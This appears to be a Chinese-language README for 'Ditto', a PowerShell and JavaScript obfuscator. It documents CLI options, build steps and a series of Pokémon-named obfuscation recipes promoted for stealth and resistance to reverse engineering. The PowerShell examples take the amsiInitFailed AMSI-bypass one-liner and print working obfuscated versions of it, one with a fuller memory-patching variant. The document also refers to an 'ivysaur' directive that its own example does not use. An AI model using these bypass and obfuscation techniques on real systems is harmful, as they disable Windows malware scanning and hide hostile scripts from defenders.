Ditto 是一款基于 tree-sitter-powershell 和 tree-sitter-javascript 的 PowerShell 和 JavaScript 混淆器。
ditto-cli [选项]
| 短选项 | 长选项 | 描述 |
|---|---|---|
| -h | --help | 显示帮助信息并退出。 |
| -v | --version | 显示版本信息并退出。 |
| -p | --path | 要处理的脚本文件路径。 |
| -i | --impostor | 用于混淆的 Impostor 配置文件(不区分大小写)。 |
| -L | --list | 列出所有可用的 Impostor 配置文件。 |
| -t | --time | 显示混淆过程所花费的计算时间。 |
| -d | --debug-level | 调试级别。选项:off、error、warn、info、debug、trace(默认:info)。 |
| -q | --quiet | 仅输出最终混淆后的脚本,抑制所有其他日志。 |
每种语言都配备了独特的、以宝可梦为主题的 Impostor。Impostor 是一种命名配方,将多个混淆通道串联在一起。每个 Impostor 侧重不同的技术组合,因此同一脚本经两个不同 Impostor 混淆后的结果截然不同。请选择在隐蔽性、体积、可读性、逆向难度等方面最符合您需求的 Impostor。
直接从您的 shell 中列出所有可用的 Impostor:
ditto-cli --list
欢迎添加您自己的 Impostor!然后您就可以调用您想要的那个。
原始 PowerShell 脚本:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
混淆命令:
ditto-cli --path test.ps1 --impostor ivysaur
混淆后输出:
${Set-mK6} = 1; ${Add-xjQ} = 12; ${Remove-ScJ} = 8; ${Find-V7v} = 7; ${Get-wCX} = 4; ${Set-JEp} = 9; ${Add-3eV} = 16; ${Remove-pIQ} = 52; ${Find-OHR} = 24; ${Get-r4u} = 9076; ${Set-t49} = 89; ${Add-Qvs} = 87; ${Remove-qwO} = 49; ${Find-SMs} = 122; ${Get-wUj} = 97; ${Set-Ox3} = 86; ${Add-VQ5} = 78; ${Remove-EeM} = 108; ${Find-gzG} = 99; ${Get-LGX} = 51; ${Set-X5g} = 112; ${Add-GD5} = 98; ${Remove-aho} = 50; ${Find-3Zs} = 61; ${Get-ihU} = 85; ${Set-nKM} = 100; ${Add-GWd} = 71; ${Remove-Tvm} = 116; ${Find-7ba} = 76; ${Get-oeb} = 107; ${Set-Vxt} = 104; ${Add-rmz} = 109; ${Remove-Fsk} = 70; ${Find-jz5} = 110; ${Get-2TD} = 90; ${Set-TIQ} = 81; ${Add-Ru7} = 117; ${Remove-4HR} = 88; ${Find-T8S} = 48; ${Get-n8s} = 118; ${Set-mmg} = 105; ${Add-PZ1} = 53; ${Remove-xzI} = 66; ${Find-LRq} = 82; ${Get-MFU} = 72; ${Set-W0e} = 77; ${Add-bvf} = 84; ${Remove-3nx} = 57; ${Find-e43} = 106; ${Get-88G} = 119; $f8XP9 = [System.Runtime.InteropServices.Marshal]; $ifXoW = [Ref]; $lgnLf = [System.Text.Encoding]; $Knr3E = [System.Convert]; ${Set-cfudY9iG} = -join 'labolGHcollA'[-${Set-mK6}..-${Add-xjQ}]; ${Add-q3RPK0Xu} = -join 'ylbmessA'[-${Set-mK6}..-${Remove-ScJ}]; ${Remove-50AhxHbh} = -join 'epyTteG'[-${Set-mK6}..-${Find-V7v}]; ${Find-VOSaUhQS} = -join '8FTU'[-${Set-mK6}..-${Get-wCX}]; ${Get-w0xewYE7} = -join 'gnirtSteG'[-${Set-mK6}..-${Set-JEp}]; ${Set-2rZQYi7O} = -join 'gnirtS46esaBmorF'[-${Set-mK6}..-${Add-3eV}]; ${Add-nottCZwE} = -join '=MHbpRXVpNXbB5ibvlGdh12b0VXQuQnbl1WZnFmbh1kLtVGdzl3U'[-${Set-mK6}..-${Remove-pIQ}]; ${Remove-b45sz9Zn} = -join 'dleiFteG'[-${Set-mK6}..-${Remove-ScJ}]; ${Find-mUeEbv73} = -join '==wYpRXY0NFLjlGbiVHUu9mT'[-${Set-mK6}..-${Find-OHR}]; ${Get-hbkDceRb} = -join 'eulaVteS'[-${Set-mK6}..-${Remove-ScJ}]; ${Set-1zjqeqJt} = -join '=QHelRnbvNUaz1WY'[-${Set-mK6}..-${Add-3eV}]; $mem = $f8XP9::${Set-cfudY9iG}(${Get-r4u});$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Add-nottCZwE})))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Set-t49} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Find-SMs} + [char]${Get-wUj} + [char]${Set-Ox3} + [char]${Add-VQ5} + [char]${Remove-EeM} + [char]${Find-gzG} + [char]${Get-LGX} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-pIQ} + [char]${Find-3Zs})))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Find-mUeEbv73})))).${Get-hbkDceRb}($null, $null);$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Get-ihU} + [char]${Get-LGX} + [char]${Remove-EeM} + [char]${Find-SMs} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Set-Ox3} + [char]${Remove-Tvm} + [char]${Find-7ba} + [char]${Get-oeb} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Add-GD5} + [char]${Add-rmz} + [char]${Remove-Fsk} + [char]${Find-jz5} + [char]${Get-2TD} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Remove-EeM} + [char]${Add-GD5} + [char]${Find-jz5} + [char]${Set-TIQ} + [char]${Add-Ru7} + [char]${Set-TIQ} + [char]${Remove-4HR} + [char]${Set-Ox3} + [char]${Find-T8S} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Get-n8s} + [char]${Add-GD5} + [char]${Set-mmg} + [char]${Add-PZ1} + [char]${Remove-xzI} + [char]${Add-GD5} + [char]${Remove-4HR} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Set-Ox3} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Get-MFU} + [char]${Set-W0e} + [char]${Find-3Zs}))))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Set-1zjqeqJt}))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Add-bvf} + [char]${Add-rmz} + [char]${Remove-3nx} + [char]${Add-Ru7} + [char]${Get-ihU} + [char]${Get-MFU} + [char]${Set-Ox3} + [char]${Set-mmg} + [char]${Add-GD5} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Find-e43} + [char]${Find-7ba} + [char]${Remove-Fsk} + [char]${Add-VQ5} + [char]${Find-T8S} + [char]${Set-t49} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Set-t49} + [char]${Get-88G} + [char]${Find-3Zs} + [char]${Find-3Zs}))))).${Get-hbkDceRb}($null, [IntPtr]$mem)
原始 JS 脚本:
function greet(user) {
console.log("Hello, " + user + "!");
}
greet("World");
混淆命令:
ditto-cli --path test.js --impostor Tinkatuff
混淆后输出:
function \u0067\u0072\u0065e\u0074(\u0075\u0073\u0065\u0072) {
\u0063\u006F\u006E\u0073\u006Fle[\u0061\u0074\u006F\u0062((\u0053\u0074r\u0069\u006E\u0067('\x62\u0047') + '\x39\x52\u{00000039}h\u0041\u0062\u{000037}\u003739\x6E\u{0000033}\u0036n'.\u0072\u0065\u0070\u006C\u0061c\u0065\u0041l\u006C(/R9hAb\d{3}9n36/g, '')))](de\u0063\u006F\u0064\u0065\u0055\u0052I\u0043o\u006Dp\u006F\u006E\u0065n\u0074((\u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%48` + '\u{00000025}\x0D\n'.\u0074\u0072im\u0045\u006E\u0064() + ['6\u{000035}', '\x25'].\u006Aoi\u006E('') + '\x36'.\u0074\u006F\u0053\u0074\u0072i\u006E\u0067() + '\u{0000043}%\u0036' + ''.\u006C\u0069n\u006B('C\u0025\x36').\u0073\u006C\u0069\u0063e(9, -6) + new \u0053\u0074\u0072\u0069\u006E\u0067('\u0046\u0025').\u0076\u0061\u006C\u0075\u0065O\u0066() + '\r\u{000000A}\u0032C\x25\u{00000D}\t'.\u0074\u0072\u0069\u006D() + '20'.\u0074r\u0069\u006D\u0045\u006E\u0064())) + \u0075\u0073\u0065\u0072 + \u0064\u0065c\u006F\u0064\u0065\u0055\u0052I((\u0053\u0074r\u0069\u006E\u0067.r\u0061\u0077`%` + '\n\u0020\u{00000020}\x321'.\u0074\u0072\u0069\u006D\u0053tar\u0074())));
}
\u0067\u0072eet(\u0064\u0065c\u006F\u0064\u0065\u0055RI\u0043\u006Fm\u0070\u006Fn\u0065\u006E\u0074(('\u{0000025}\u{0000035}' + '\u{00000037}\u{00025}\n\x0A\u0009\u000A'.t\u0072\u0069\u006D\u0045n\u0064() + '6\u0046%' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0066\u0072\u006F\u006DCh\u0061\u0072\u0043\u006Fd\u0065(55) + '\u{000032}'.\u0062\u0069\u0067().sl\u0069\u0063\u0065(5, -6) + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061w`%6` + '\u{000043}' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%6` + '4')));
Ditto Impostor 不会混淆整个文件。它会查找 # ditto(<engine>) 形式的指令注释,并将指定的引擎应用于紧随注释之后的单条语句。其他所有内容保持不变,指令注释本身会从输出中移除。当您只想隐藏脚本的敏感部分,或在单个文件中混合使用多种引擎时,这非常方便。
原始 PowerShell 脚本:
Write-Host "starting"
# ditto(pikachu)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
Write-Host "done"
混淆命令:
ditto-cli --path test.ps1 --impostor ditto
混淆后输出:
Write-Host "starting"
$WRL6c=109;$DDjV=56;$pjWqV8=86;$r8cnDa=108;$wAD=101;$xtYSTM=50;$IHnFn=51;$787F0=122;$qWcmH0=65;$LgjuIE=77;$ial=52;$kVfXz=103;$gI9H6=104;$E3qM=97;$4Tr4=105;$empCP=117;$KA4XB=89;$TeXxjO=53;$t7IyYw=54;$ogg=114;$pDD=57;$dQXaf=81;$iTBnE=61;$IBf=48;$GUy=71;$cbVM=110;$biGF=85;$Z7Pn=106;$vcF=87;$oqzy3=72;$37C=118;$suPWLN=112;$1Ywq0M=83;$KI9h=119;$B3fd=70;$IScvzV=90;$oveAB=88;$p6TMv=84;$zj7E=98;$wUzL=111;$ToF=107;$Sd0Ozk=100;$AtZ=49;$qeyQOw=121;$NAX=115;$QsySk=82;$Zqk=66;$QYl36=78;$LHhAV=76;$DJp=116;$Rz89sj=([char]$KA4XB+[char]$vcF+[char]$AtZ+[char]$787F0+[char]$E3qM+[char]$biGF+[char]$r8cnDa+[char]$empCP+[char]$E3qM+[char]$oveAB+[char]$QsySk+[char]$GUy+[char]$KA4XB+[char]$vcF+[char]$r8cnDa+[char]$NAX+[char]$IScvzV+[char]$vcF+[char]$dQXaf+[char]$iTBnE);$TNP=([char]$qWcmH0+[char]$NAX+[char]$NAX+[char]$wAD+[char]$WRL6c+[char]$zj7E+[char]$r8cnDa+[char]$qeyQOw);$rF2B=([char]$biGF+[char]$p6TMv+[char]$B3fd+[char]$DDjV);$0xJaev=([char]$GUy+[char]$wAD+[char]$DJp+[char]$p6TMv+[char]$qeyQOw+[char]$suPWLN+[char]$wAD);$vpg=([char]$B3fd+[char]$ogg+[char]$wUzL+[char]$WRL6c+[char]$Zqk+[char]$E3qM+[char]$NAX+[char]$wAD+[char]$t7IyYw+[char]$ial+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);$ISW=([char]$p6TMv+[char]$WRL6c+[char]$pDD+[char]$empCP+[char]$biGF+[char]$oqzy3+[char]$pjWqV8+[char]$4Tr4+[char]$zj7E+[char]$GUy+[char]$r8cnDa+[char]$Z7Pn+[char]$LHhAV+[char]$B3fd+[char]$QYl36+[char]$IBf+[char]$KA4XB+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$KA4XB+[char]$KI9h+[char]$iTBnE+[char]$iTBnE);$wiiSIm=([char]$biGF+[char]$IHnFn+[char]$r8cnDa+[char]$787F0+[char]$Sd0Ozk+[char]$GUy+[char]$pjWqV8+[char]$DJp+[char]$LHhAV+[char]$ToF+[char]$AtZ+[char]$gI9H6+[char]$zj7E+[char]$WRL6c+[char]$B3fd+[char]$cbVM+[char]$IScvzV+[char]$vcF+[char]$AtZ+[char]$r8cnDa+[char]$zj7E+[char]$cbVM+[char]$dQXaf+[char]$empCP+[char]$dQXaf+[char]$oveAB+[char]$pjWqV8+[char]$IBf+[char]$zj7E+[char]$xtYSTM+[char]$AtZ+[char]$gI9H6+[char]$Sd0Ozk+[char]$GUy+[char]$r8cnDa+[char]$37C+[char]$zj7E+[char]$4Tr4+[char]$TeXxjO+[char]$Zqk+[char]$zj7E+[char]$oveAB+[char]$QYl36+[char]$suPWLN+[char]$pjWqV8+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$zj7E+[char]$oqzy3+[char]$LgjuIE+[char]$iTBnE);$en3=([char]$GUy+[char]$wAD+[char]$DJp+[char]$B3fd+[char]$4Tr4+[char]$wAD+[char]$r8cnDa+[char]$Sd0Ozk);$rlIe=([char]$1Ywq0M+[char]$wAD+[char]$DJp+[char]$pjWqV8+[char]$E3qM+[char]$r8cnDa+[char]$empCP+[char]$wAD);$lmq=([char]$GUy+[char]$wAD+[char]$DJp+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);${NBX}=[Ref];${Q6V}=[System.Text.Encoding];${93J9}=[System.Convert];${NBX}.$TNP.$0xJaev((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($wiiSIm)))).$en3((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($Rz89sj))), (${Q6V}::$rF2B.$lmq(${93J9}::$vpg($ISW)))).$rlIe($null, $true)
Write-Host "done"
只有 # ditto(ivysaur) 之后的那一行被混淆(使用 Ivysaur 引擎);两个 Write-Host 调用保持原样。
cargo build --release --bin ditto-cli
构建完成后,您将在 ./target/release/ 中找到二进制文件。
cargo run --release --bin ditto-cli -- {args goes here}
| Impostor | 功能说明 |
|---|
| Pikachu | 全能型代表。将字面量转换为静态字符串,将 cmdlet 和类型成员重写为字符串,对字符串进行 Base64 编码,使用内联取模/十六进制化拆分整数,并随机重命名变量。均衡的默认选择。 |
| Bulbasaur | 入门级新手选择。字符串/cmdlet/成员重写、Base64 编码、随机变量名,以及通过反向取模技巧重建整数。轻量且可读性尚可。 |
| Ivysaur | Bulbasaur 的进化形态。基础配方相同,但变量以 PowerShell 动词命名(${Set-...}、${Add-...}、${Remove-...})以融入合法代码,并加入内联十六进制化和取模反转整数。 |
| Charizard | 重量级选手。静态字符串、Base64、随机内联取模/十六进制化、成员转字符串、取模反转整数,以及随机变量名和类型叠加,实现激进混淆。 |
| Alakazam | 数学大脑。将每个布尔值和整数预计算为算术表达式,拆分调用表达式,并将 cmdlet、成员和类型转换为字符串。生成密集、表达式丰富的输出。 |
| Onix | 数组专家。将令牌存储在常量数组中,进行洗牌,通过 foreach 进行十六进制化,并通过运行时求值的 XOR/加法算术重建每个整数。 |
| Eevee | 重命名专家。随机重命名所有函数、参数和变量,将 cmdlet/成员重写为字符串,并分配 UUID 风格和动词风格的名称并带有通配符掩码。专注于标识符混淆。 |
| Ditto | 模仿者——一种元 Impostor。它不是转换整个文件,而是扫描源代码中的 # ditto(<engine>) 注释,并将指定的引擎仅应用于紧随注释之后的语句。这使您可以在单个脚本中混合使用多种 Impostor。请参阅 使用 Ditto 进行选择性混淆。 |
| Impostor | 功能说明 |
|---|
| Tinkatuff | 全面均衡的默认选择。将成员访问重写为下标形式,偶尔将表达式转换为 switch/if-else,将数字转换为数学表达式,并对字符串和标识符进行编码/拆分/转义。覆盖范围与体积之间取得良好平衡。 |
| Unown | 符号密码。使用 JSFuck 风格的技巧对数字、字符串、布尔值、特殊值和默认对象进行编码,并仅使用 $ 和 _ 重命名标识符。输出几乎不可读。 |
| Metagross | “等等,全是数字?” 将字符串转换为 fromCharCode,将每个数字重写为表达式,并将所有标识符重命名为类似数字的名称。输出几乎全是数字。 |
| Wailord | 鲸鱼。产生巨大的输出(平均膨胀率约 4643 倍)。仅适用于小型脚本——它叠加了气泡命名标识符、字符串拆分、JSFuck 数字和数组转换。 |
| Clefable | 赌徒。随机从所有可用通道中选择,因此您会得到一个相对“较小”但仍包含各种保护的输出。逆向者必须处理所有可能的通道。由于通道是随机选择的且可能相互干扰,您可能需要运行多次。 |
| Cofagrigus | 坟墓。使用埃及象形文字名称重命名标识符,编码字符串,将数字重写为表达式,并应用字符串/数字“诅咒”转换。诡异、密集且难以阅读。 |